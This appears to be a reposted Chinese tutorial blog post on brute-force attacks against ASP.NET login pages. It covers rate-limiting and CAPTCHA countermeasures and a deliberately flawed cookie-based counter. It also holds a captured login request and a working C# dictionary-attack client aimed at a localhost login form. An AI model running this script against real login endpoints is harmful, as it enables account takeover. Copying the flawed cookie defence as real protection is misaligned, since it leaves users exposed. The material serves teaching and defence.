好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Asp.net安全架构之Brute force(爆破)

Asp.net安全架构之Brute force(爆破)

原理

爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。

实际案例

某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。

在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。

请求:

User-Agent: Fiddler

Accept-Language: zh-CN

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

 

loginId=luminji&password=123456 

以下是成功爆破的返回:

HTTP/1.1 302 Found

Cache-Control: private

Location: http://192.168.40.193/portal/pages

Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Mon, 07 May 2012 01:25:50 GMT

 

<html><head><title>Object moved</title></head><body>

<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>

</body></html>

以下是失败的返回:

HTTP/1.1 200 OK

Cache-Control: private

Transfer-Encoding: chunked

Content-Encoding: gzip

Vary: Accept-Encoding

Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Mon, 07 May 2012 01:26:01 GMT

 

_?_

应对措施

一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。

其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。

Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:

         protected   void  ButtonLogin_Click( object   sender, EventArgs e)
        {
              string  loginName =  "  luminji  "  ;
              if  (AddAndGetLoginCount(loginName) >  5  )
            {
                  //  block 
             }
              else  
            {
                  if  (CheckLogin(loginName) ==  true  )
                {
                    ClearLoginCount(loginName);
                }
            }
        }

          //  只适用于单机,如果是集群,需要分布式缓存 
         int  AddAndGetLoginCount( string   userNanme)
        {
              if  (Cache[userNanme] ==  null  )
            {
                Cache.Insert(  "  luminji  " ,  1 ,  null  ,
                    System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds(  10  ));
                  return   1  ;
            }
              else  
            {
                  int  count = ( int )Cache[userNanme] +  1  ;
                Cache[userNanme]  =  count;
                  return   count;
            }
        }

          void  ClearLoginCount( string   userName)
        {
              if  (Cache[userName] !=  null  )
            {
                Cache.Remove(userName);
            }
        }

          private   bool  CheckLogin( string   loginName)
        {
              throw   new   NotImplementedException();
        } 

这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:

将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:

         protected   void  ButtonLogin_Click( object   sender, EventArgs e)
        {
            HttpCookie cookieGet  = Request.Cookies.Get( "  btcookie  "  );
              if  (cookieGet ==  null  )
            {
                SendBFCookieToClientAndRedirect();
            }
              else  
            {
                ReceiveBFCookieAndCheckLogin(cookieGet);
            }
        }

          private   void   ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet)
        {
              string  loginName =  "  luminji  "  ;
            BruteForce bf  =  PreAnalyCookieGet(cookieGet);

              if  (DateTime.Parse(bf.ExpireTime) >  DateTime.Now)
            {
                  if  ( int .Parse(bf.LoginCount) >  5  )
                {
                    Block();
                }
                  else  
                {
                    GoAndCheckAndUpdateCount(cookieGet, loginName, bf);
                }
            }
              else  
            {
                GoAndCheckAndUpdateExpiretime(cookieGet, loginName);
            }
        }

          private   BruteForce PreAnalyCookieGet(HttpCookie cookieGet)
        {
            Response.Write(  string .Format( "  get{0}<br/>  "  , Session.SessionID));
            Response.Write(  string .Format( "  get Cookie:{0}<br/>  "  , cookieGet.Value));
            Response.Write(  string .Format( "  Now:{0}  "  , DateTime.Now));
              var  bfarr = cookieGet.Value.Split( '  |  '  );
              return   new  BruteForce(bfarr[ 0 ], bfarr[ 1 ], bfarr[ 2  ]);
        }

          private   void  GoAndCheckAndUpdateCount(HttpCookie cookieGet,  string   loginName, BruteForce bf)
        {
            CheckLogin(loginName);
            cookieGet.Value  = EncryptBruteForceCookie( string .Format( "  {0}|{1}|{2}  "  ,
                  int .Parse(bf.LoginCount) +  1  ,
                Session.SessionID,
                bf.ExpireTime));
            Response.Cookies.Add(cookieGet);
        }

          private   void   Block()
        {
            Response.Write(  "  block  "  );
        }

          private   void  GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet,  string   loginName)
        {
            CheckLogin(loginName);
            cookieGet.Value  = EncryptBruteForceCookie( string .Format( "  {0}|{1}|{2}  "  ,
                  1  ,
                Session.SessionID,
                DateTime.Now.AddSeconds(  10  )));
            Response.Cookies.Add(cookieGet);
        }

          private   void   SendBFCookieToClientAndRedirect()
        {
            Response.Write(  string .Format( "  set{0}<br/>  "  , Session.SessionID));
              string  str = EncryptBruteForceCookie( string .Format( "  {0}|{1}|{2}  "  ,
                  1  ,
                Session.SessionID,
                DateTime.Now.AddSeconds(  10  )));
            Session[  "  btcookiesession  " ] =  str;
            HttpCookie cookieSet  =  new  HttpCookie( "  btcookie  "  , str);
            cookieSet.HttpOnly  =  true  ;
            Response.Cookies.Add(cookieSet);
              //  Redirect To real login page 
         }

          private   string  EncryptBruteForceCookie( string   cookie)
        {
              //  encrypt cookie 
             return   cookie;
        }

          private   string  DecrpytBruteForceCooke( string   cookie)
        {
              //  encrypt cookie 
             return   cookie;
        }

          class   BruteForce
        {
              public  BruteForce( string  loginCount,  string  sessionID,  string   expireTime)
            {
                LoginCount  =  loginCount;
                SessionID  =  sessionID;
                ExpireTime  =  expireTime;
            }
              public   string   LoginCount;
              public   string   SessionID;
              public   string   ExpireTime;
        } 

爆破的实施

假设要爆破的登录处的逻辑如下:

         protected   void  btnLogin_Click( object   sender, EventArgs e)
        {
              if  ( this .txtUserName.Text ==  "  xjm  "  && 
                 this .txtUserPassword.Text ==  "  123  "  )
            {
                  //  this.Session["UserName"] = this.txtUserName.Text; 
                Response.Redirect( "  Home.aspx  "  );
            }
              else  
            {
                Response.Write(  "  login denied!  "  );
            }
        } 

PS:一般来说,爆破就是模拟发送请求,C#代码如下:

         string  httpBase =  @"  http://localhost:50097  "  ;
        List < string > keyDict =  new  List< string > ()
            {
                  "  1  "  ,
                  "  12  "  ,
                  "  123  "  ,
                  "  a  "  ,
                  "  ab  "  
            };

          private   void  button2_Click( object   sender, EventArgs e)
        {
              bool  isOk =  false  ;
              foreach  ( string  key  in   keyDict)
            {
                  var  request =  InitRequest();
                SetRequestContent(request, key);
                  if  (isOk =  GetResponseAndLoginSuccess(request))
                {
                      break  ;
                }
            }

              if   (isOk)
            {
                MessageBox.Show(  "  login success.  "  );
            }
              else  
            {
                MessageBox.Show(  "  failed!  "  );
            }
        }

          private   void  SetRequestContent(WebRequest request,  string   key)
        {
              //  todo  1:should get login.aspx first, and get the viewstat
              //        2:then we can build this content 
             string  content =  string .Format( "  __VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button  "  ,
                key);
            request.ContentLength  =  content.Length;
              byte [] bytes =  Encoding.UTF8.GetBytes(content);
              using  (Stream requestStream =  request.GetRequestStream())
            {
                requestStream.Write(bytes,   0  , bytes.Length);
                requestStream.Flush();
            }
        }

          private   bool   GetResponseAndLoginSuccess(WebRequest request)
        {
              var  response =  request.GetResponse();
              using  (Stream stream =  response.GetResponseStream())
              using  (StreamReader reader =  new   StreamReader(stream))
            {
                  if  (response.ResponseUri.ToString().IndexOf(httpBase+  @"  /Home.aspx  " ) > - 1  )
                {
                      var  context =  reader.ReadToEnd();
                    context  +=  "  <br/>hacked by luminji!  "  ;
                    webBrowser1.DocumentText  =  context;
                      return   true  ;
                }
            }
              return   false  ;
        }

          private   WebRequest InitRequest()
        {
              string  url = httpBase +  @"  /login.aspx  "  ;
              var  request =  HttpWebRequest.Create(url);
            request.ContentType  =  "  application/x-www-form-urlencoded  "  ;
            request.Method  =  "  POST  "  ;
              return   request;
        } 


本文出处: http://www.cnblogs.com/luminji/  
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。

 

 

作者: Leo_wl

    

出处: http://www.cnblogs.com/Leo_wl/

    

本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

版权信息

查看更多关于Asp.net安全架构之Brute force(爆破)的详细内容...

  阅读:99次